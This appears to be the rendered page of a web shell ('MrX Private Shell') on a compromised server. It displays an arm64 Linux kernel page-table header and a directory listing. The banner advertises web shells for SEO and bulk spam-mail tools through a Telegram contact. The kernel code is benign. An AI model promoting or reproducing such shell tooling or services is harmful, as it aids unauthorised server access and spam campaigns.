__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0-only */
/*
 * Copyright (C) 2016 ARM Ltd.
 */
#ifndef __ASM_PGTABLE_PROT_H
#define __ASM_PGTABLE_PROT_H

#include <asm/memory.h>
#include <asm/pgtable-hwdef.h>

#include <linux/const.h>

/*
 * Software defined PTE bits definition.
 */
#define PTE_WRITE		(PTE_DBM)		 /* same as DBM (51) */
#define PTE_SWP_EXCLUSIVE	(_AT(pteval_t, 1) << 2)	 /* only for swp ptes */
#define PTE_DIRTY		(_AT(pteval_t, 1) << 55)
#define PTE_SPECIAL		(_AT(pteval_t, 1) << 56)
#define PTE_DEVMAP		(_AT(pteval_t, 1) << 57)

/*
 * PTE_PRESENT_INVALID=1 & PTE_VALID=0 indicates that the pte's fields should be
 * interpreted according to the HW layout by SW but any attempted HW access to
 * the address will result in a fault. pte_present() returns true.
 */
#define PTE_PRESENT_INVALID	(PTE_NG)		 /* only when !PTE_VALID */

#ifdef CONFIG_HAVE_ARCH_USERFAULTFD_WP
#define PTE_UFFD_WP		(_AT(pteval_t, 1) << 58) /* uffd-wp tracking */
#define PTE_SWP_UFFD_WP		(_AT(pteval_t, 1) << 3)	 /* only for swp ptes */
#else
#define PTE_UFFD_WP		(_AT(pteval_t, 0))
#define PTE_SWP_UFFD_WP		(_AT(pteval_t, 0))
#endif /* CONFIG_HAVE_ARCH_USERFAULTFD_WP */

#define _PROT_DEFAULT		(PTE_TYPE_PAGE | PTE_AF | PTE_SHARED)

#define PROT_DEFAULT		(PTE_TYPE_PAGE | PTE_MAYBE_NG | PTE_MAYBE_SHARED | PTE_AF)
#define PROT_SECT_DEFAULT	(PMD_TYPE_SECT | PMD_MAYBE_NG | PMD_MAYBE_SHARED | PMD_SECT_AF)

#define PROT_DEVICE_nGnRnE	(PROT_DEFAULT | PTE_PXN | PTE_UXN | PTE_WRITE | PTE_ATTRINDX(MT_DEVICE_nGnRnE))
#define PROT_DEVICE_nGnRE	(PROT_DEFAULT | PTE_PXN | PTE_UXN | PTE_WRITE | PTE_ATTRINDX(MT_DEVICE_nGnRE))
#define PROT_NORMAL_NC		(PROT_DEFAULT | PTE_PXN | PTE_UXN | PTE_WRITE | PTE_ATTRINDX(MT_NORMAL_NC))
#define PROT_NORMAL		(PROT_DEFAULT | PTE_PXN | PTE_UXN | PTE_WRITE | PTE_ATTRINDX(MT_NORMAL))
#define PROT_NORMAL_TAGGED	(PROT_DEFAULT | PTE_PXN | PTE_UXN | PTE_WRITE | PTE_ATTRINDX(MT_NORMAL_TAGGED))

#define PROT_SECT_DEVICE_nGnRE	(PROT_SECT_DEFAULT | PMD_SECT_PXN | PMD_SECT_UXN | PMD_ATTRINDX(MT_DEVICE_nGnRE))
#define PROT_SECT_NORMAL	(PROT_SECT_DEFAULT | PMD_SECT_PXN | PMD_SECT_UXN | PTE_WRITE | PMD_ATTRINDX(MT_NORMAL))
#define PROT_SECT_NORMAL_EXEC	(PROT_SECT_DEFAULT | PMD_SECT_UXN | PMD_ATTRINDX(MT_NORMAL))

#define _PAGE_DEFAULT		(_PROT_DEFAULT | PTE_ATTRINDX(MT_NORMAL))

#define _PAGE_KERNEL		(PROT_NORMAL)
#define _PAGE_KERNEL_RO		((PROT_NORMAL & ~PTE_WRITE) | PTE_RDONLY)
#define _PAGE_KERNEL_ROX	((PROT_NORMAL & ~(PTE_WRITE | PTE_PXN)) | PTE_RDONLY)
#define _PAGE_KERNEL_EXEC	(PROT_NORMAL & ~PTE_PXN)
#define _PAGE_KERNEL_EXEC_CONT	((PROT_NORMAL & ~PTE_PXN) | PTE_CONT)

#define _PAGE_SHARED		(_PAGE_DEFAULT | PTE_USER | PTE_RDONLY | PTE_NG | PTE_PXN | PTE_UXN | PTE_WRITE)
#define _PAGE_SHARED_EXEC	(_PAGE_DEFAULT | PTE_USER | PTE_RDONLY | PTE_NG | PTE_PXN | PTE_WRITE)
#define _PAGE_READONLY		(_PAGE_DEFAULT | PTE_USER | PTE_RDONLY | PTE_NG | PTE_PXN | PTE_UXN)
#define _PAGE_READONLY_EXEC	(_PAGE_DEFAULT | PTE_USER | PTE_RDONLY | PTE_NG | PTE_PXN)
#define _PAGE_EXECONLY		(_PAGE_DEFAULT | PTE_RDONLY | PTE_NG | PTE_PXN)

#ifndef __ASSEMBLY__

#include <asm/cpufeature.h>
#include <asm/pgtable-types.h>
#include <asm/rsi.h>

extern bool arm64_use_ng_mappings;
extern unsigned long prot_ns_shared;

#define PROT_NS_SHARED		(is_realm_world() ? prot_ns_shared : 0)

#define PTE_MAYBE_NG		(arm64_use_ng_mappings ? PTE_NG : 0)
#define PMD_MAYBE_NG		(arm64_use_ng_mappings ? PMD_SECT_NG : 0)

#ifndef CONFIG_ARM64_LPA2
#define lpa2_is_enabled()	false
#define PTE_MAYBE_SHARED	PTE_SHARED
#define PMD_MAYBE_SHARED	PMD_SECT_S
#define PHYS_MASK_SHIFT		(CONFIG_ARM64_PA_BITS)
#else
static inline bool __pure lpa2_is_enabled(void)
{
	return read_tcr() & TCR_DS;
}

#define PTE_MAYBE_SHARED	(lpa2_is_enabled() ? 0 : PTE_SHARED)
#define PMD_MAYBE_SHARED	(lpa2_is_enabled() ? 0 : PMD_SECT_S)
#define PHYS_MASK_SHIFT		(lpa2_is_enabled() ? CONFIG_ARM64_PA_BITS : 48)
#endif

/*
 * Highest possible physical address supported.
 */
#define PHYS_MASK		((UL(1) << PHYS_MASK_SHIFT) - 1)

/*
 * If we have userspace only BTI we don't want to mark kernel pages
 * guarded even if the system does support BTI.
 */
#define PTE_MAYBE_GP		(system_supports_bti_kernel() ? PTE_GP : 0)

#define PAGE_KERNEL		__pgprot(_PAGE_KERNEL)
#define PAGE_KERNEL_RO		__pgprot(_PAGE_KERNEL_RO)
#define PAGE_KERNEL_ROX		__pgprot(_PAGE_KERNEL_ROX)
#define PAGE_KERNEL_EXEC	__pgprot(_PAGE_KERNEL_EXEC)
#define PAGE_KERNEL_EXEC_CONT	__pgprot(_PAGE_KERNEL_EXEC_CONT)

#define PAGE_S2_MEMATTR(attr, has_fwb)					\
	({								\
		u64 __val;						\
		if (has_fwb)						\
			__val = PTE_S2_MEMATTR(MT_S2_FWB_ ## attr);	\
		else							\
			__val = PTE_S2_MEMATTR(MT_S2_ ## attr);		\
		__val;							\
	 })

#define PAGE_NONE		__pgprot(((_PAGE_DEFAULT) & ~PTE_VALID) | PTE_PRESENT_INVALID | PTE_RDONLY | PTE_NG | PTE_PXN | PTE_UXN)
/* shared+writable pages are clean by default, hence PTE_RDONLY|PTE_WRITE */
#define PAGE_SHARED		__pgprot(_PAGE_SHARED)
#define PAGE_SHARED_EXEC	__pgprot(_PAGE_SHARED_EXEC)
#define PAGE_READONLY		__pgprot(_PAGE_READONLY)
#define PAGE_READONLY_EXEC	__pgprot(_PAGE_READONLY_EXEC)
#define PAGE_EXECONLY		__pgprot(_PAGE_EXECONLY)

#endif /* __ASSEMBLY__ */

#define pte_pi_index(pte) ( \
	((pte & BIT(PTE_PI_IDX_3)) >> (PTE_PI_IDX_3 - 3)) | \
	((pte & BIT(PTE_PI_IDX_2)) >> (PTE_PI_IDX_2 - 2)) | \
	((pte & BIT(PTE_PI_IDX_1)) >> (PTE_PI_IDX_1 - 1)) | \
	((pte & BIT(PTE_PI_IDX_0)) >> (PTE_PI_IDX_0 - 0)))

/*
 * Page types used via Permission Indirection Extension (PIE). PIE uses
 * the USER, DBM, PXN and UXN bits to to generate an index which is used
 * to look up the actual permission in PIR_ELx and PIRE0_EL1. We define
 * combinations we use on non-PIE systems with the same encoding, for
 * convenience these are listed here as comments as are the unallocated
 * encodings.
 */

/* 0: PAGE_DEFAULT                                                  */
/* 1:                                                      PTE_USER */
/* 2:                                          PTE_WRITE            */
/* 3:                                          PTE_WRITE | PTE_USER */
/* 4: PAGE_EXECONLY                  PTE_PXN                        */
/* 5: PAGE_READONLY_EXEC             PTE_PXN |             PTE_USER */
/* 6:                                PTE_PXN | PTE_WRITE            */
/* 7: PAGE_SHARED_EXEC               PTE_PXN | PTE_WRITE | PTE_USER */
/* 8: PAGE_KERNEL_ROX      PTE_UXN                                  */
/* 9: PAGE_GCS_RO          PTE_UXN |                       PTE_USER */
/* a: PAGE_KERNEL_EXEC     PTE_UXN |           PTE_WRITE            */
/* b: PAGE_GCS             PTE_UXN |           PTE_WRITE | PTE_USER */
/* c: PAGE_KERNEL_RO       PTE_UXN | PTE_PXN                        */
/* d: PAGE_READONLY        PTE_UXN | PTE_PXN |             PTE_USER */
/* e: PAGE_KERNEL          PTE_UXN | PTE_PXN | PTE_WRITE            */
/* f: PAGE_SHARED          PTE_UXN | PTE_PXN | PTE_WRITE | PTE_USER */

#define _PAGE_GCS	(_PAGE_DEFAULT | PTE_NG | PTE_UXN | PTE_WRITE | PTE_USER)
#define _PAGE_GCS_RO	(_PAGE_DEFAULT | PTE_NG | PTE_UXN | PTE_USER)

#define PAGE_GCS	__pgprot(_PAGE_GCS)
#define PAGE_GCS_RO	__pgprot(_PAGE_GCS_RO)

#define PIE_E0	( \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_GCS),           PIE_GCS)  | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_GCS_RO),        PIE_R)   | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_EXECONLY),      PIE_X_O) | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_READONLY_EXEC), PIE_RX_O)  | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_SHARED_EXEC),   PIE_RWX_O) | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_READONLY),      PIE_R_O)   | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_SHARED),        PIE_RW_O))

#define PIE_E1	( \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_GCS),           PIE_NONE_O) | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_GCS_RO),        PIE_NONE_O) | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_EXECONLY),      PIE_NONE_O) | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_READONLY_EXEC), PIE_R)      | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_SHARED_EXEC),   PIE_RW)     | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_READONLY),      PIE_R)      | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_SHARED),        PIE_RW)     | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_KERNEL_ROX),    PIE_RX)     | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_KERNEL_EXEC),   PIE_RWX)    | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_KERNEL_RO),     PIE_R)      | \
	PIRx_ELx_PERM(pte_pi_index(_PAGE_KERNEL),        PIE_RW))

#endif /* __ASM_PGTABLE_PROT_H */

Filemanager

Name Type Size Permission Actions
stacktrace Folder 0755
vdso Folder 0755
xen Folder 0755
Kbuild File 528 B 0644
acenv.h File 395 B 0644
acpi.h File 5.48 KB 0644
alternative-macros.h File 6.45 KB 0644
alternative.h File 1.08 KB 0644
apple_m1_pmu.h File 2.23 KB 0644
arch_gicv3.h File 4.44 KB 0644
arch_timer.h File 4.84 KB 0644
archrandom.h File 2.99 KB 0644
arm-cci.h File 254 B 0644
arm_dsu_pmu.h File 2.94 KB 0644
arm_pmuv3.h File 3.4 KB 0644
asm-bug.h File 952 B 0644
asm-extable.h File 3.59 KB 0644
asm-offsets.h File 35 B 0644
asm-prototypes.h File 958 B 0644
asm-uaccess.h File 2.38 KB 0644
asm_pointer_auth.h File 2.49 KB 0644
assembler.h File 21.19 KB 0644
atomic.h File 7.23 KB 0644
atomic_ll_sc.h File 10.75 KB 0644
atomic_lse.h File 8.2 KB 0644
barrier.h File 5.85 KB 0644
bitops.h File 813 B 0644
bitrev.h File 452 B 0644
boot.h File 369 B 0644
brk-imm.h File 1.27 KB 0644
bug.h File 572 B 0644
cache.h File 3.28 KB 0644
cacheflush.h File 4.61 KB 0644
checksum.h File 1.06 KB 0644
clocksource.h File 136 B 0644
cmpxchg.h File 7.15 KB 0644
compat.h File 2.13 KB 0644
compiler.h File 979 B 0644
cpu.h File 1.57 KB 0644
cpu_ops.h File 1.92 KB 0644
cpucaps.h File 2.28 KB 0644
cpufeature.h File 32.74 KB 0644
cpuidle.h File 1.03 KB 0644
cputype.h File 13.99 KB 0644
crash_reserve.h File 335 B 0644
current.h File 517 B 0644
daifflags.h File 3.45 KB 0644
dcc.h File 981 B 0644
debug-monitors.h File 3.26 KB 0644
device.h File 189 B 0644
dmi.h File 850 B 0644
efi.h File 5.05 KB 0644
el2_setup.h File 11.6 KB 0644
elf.h File 8 KB 0644
esr.h File 17.16 KB 0644
exception.h File 3.29 KB 0644
exec.h File 278 B 0644
extable.h File 1.36 KB 0644
fixmap.h File 3.11 KB 0644
fpsimd.h File 11.63 KB 0644
fpsimdmacros.h File 7.7 KB 0644
fpu.h File 309 B 0644
ftrace.h File 5.93 KB 0644
futex.h File 2.71 KB 0644
gcs.h File 2.1 KB 0644
gpr-num.h File 708 B 0644
hardirq.h File 2.28 KB 0644
hugetlb.h File 3.07 KB 0644
hw_breakpoint.h File 4.16 KB 0644
hwcap.h File 8.77 KB 0644
hyp_image.h File 1.87 KB 0644
hypervisor.h File 444 B 0644
image.h File 1.48 KB 0644
insn-def.h File 571 B 0644
insn.h File 23.8 KB 0644
io.h File 8.9 KB 0644
irq.h File 571 B 0644
irq_work.h File 192 B 0644
irqflags.h File 4.31 KB 0644
jump_label.h File 1.32 KB 0644
kasan.h File 578 B 0644
kernel-pgtable.h File 3.3 KB 0644
kexec.h File 3.37 KB 0644
kfence.h File 680 B 0644
kgdb.h File 3.27 KB 0644
kprobes.h File 965 B 0644
kvm_arm.h File 14.34 KB 0644
kvm_asm.h File 12.18 KB 0644
kvm_emulate.h File 16.59 KB 0644
kvm_host.h File 47.41 KB 0644
kvm_hyp.h File 5.14 KB 0644
kvm_mmu.h File 11.14 KB 0644
kvm_mte.h File 1.35 KB 0644
kvm_nested.h File 6.23 KB 0644
kvm_pgtable.h File 28.64 KB 0644
kvm_pkvm.h File 5.35 KB 0644
kvm_ptrauth.h File 4.04 KB 0644
kvm_ras.h File 594 B 0644
kvm_types.h File 185 B 0644
linkage.h File 1.19 KB 0644
lse.h File 933 B 0644
mem_encrypt.h File 999 B 0644
memory.h File 14.24 KB 0644
mman.h File 2.36 KB 0644
mmu.h File 3.47 KB 0644
mmu_context.h File 8.5 KB 0644
module.h File 1.73 KB 0644
module.lds.h File 795 B 0644
mshyperv.h File 1.34 KB 0644
mte-def.h File 577 B 0644
mte-kasan.h File 5.58 KB 0644
mte.h File 6.99 KB 0644
neon-intrinsics.h File 959 B 0644
neon.h File 385 B 0644
numa.h File 165 B 0644
page-def.h File 296 B 0644
page.h File 1.34 KB 0644
paravirt.h File 580 B 0644
paravirt_api_clock.h File 26 B 0644
pci.h File 469 B 0644
percpu.h File 8.31 KB 0644
perf_event.h File 515 B 0644
pgalloc.h File 3.04 KB 0644
pgtable-hwdef.h File 11.47 KB 0644
pgtable-prot.h File 8.19 KB 0644
pgtable-types.h File 1.41 KB 0644
pgtable.h File 52.72 KB 0644
pkeys.h File 2.36 KB 0644
pointer_auth.h File 4.68 KB 0644
por.h File 635 B 0644
preempt.h File 2.71 KB 0644
probes.h File 549 B 0644
proc-fns.h File 562 B 0644
processor.h File 12.19 KB 0644
ptdump.h File 1.78 KB 0644
ptrace.h File 9.35 KB 0644
pvclock-abi.h File 374 B 0644
rsi.h File 1.64 KB 0644
rsi_cmds.h File 3.85 KB 0644
rsi_smc.h File 5.23 KB 0644
runtime-const.h File 2.3 KB 0644
rwonce.h File 1.96 KB 0644
scs.h File 1.09 KB 0644
sdei.h File 1.53 KB 0644
seccomp.h File 891 B 0644
sections.h File 1.14 KB 0644
semihost.h File 537 B 0644
set_memory.h File 715 B 0644
setup.h File 789 B 0644
shmparam.h File 425 B 0644
signal.h File 650 B 0644
signal32.h File 1.93 KB 0644
simd.h File 1.04 KB 0644
smp.h File 3.44 KB 0644
smp_plat.h File 824 B 0644
sparsemem.h File 747 B 0644
spectre.h File 3.75 KB 0644
spinlock.h File 601 B 0644
spinlock_types.h File 366 B 0644
stack_pointer.h File 247 B 0644
stackprotector.h File 1.15 KB 0644
stacktrace.h File 2.96 KB 0644
stage2_pgtable.h File 1.03 KB 0644
stat.h File 947 B 0644
string.h File 1.89 KB 0644
suspend.h File 1.65 KB 0644
sync_bitops.h File 1.06 KB 0644
syscall.h File 1.97 KB 0644
syscall_wrapper.h File 3.09 KB 0644
sysreg.h File 46.33 KB 0644
system_misc.h File 880 B 0644
text-patching.h File 544 B 0644
thread_info.h File 3.96 KB 0644
timex.h File 343 B 0644
tlb.h File 2.65 KB 0644
tlbbatch.h File 281 B 0644
tlbflush.h File 17.05 KB 0644
topology.h File 1.22 KB 0644
trans_pgd.h File 1.02 KB 0644
traps.h File 4.37 KB 0644
uaccess.h File 14.43 KB 0644
unistd.h File 898 B 0644
unistd32.h File 240 B 0644
uprobes.h File 579 B 0644
vdso.h File 468 B 0644
vectors.h File 1.74 KB 0644
vermagic.h File 200 B 0644
virt.h File 4.26 KB 0644
vmalloc.h File 805 B 0644
vmap_stack.h File 739 B 0644
vncr_mapping.h File 3.56 KB 0644
word-at-a-time.h File 1.5 KB 0644
xor.h File 1.88 KB 0644
Filemanager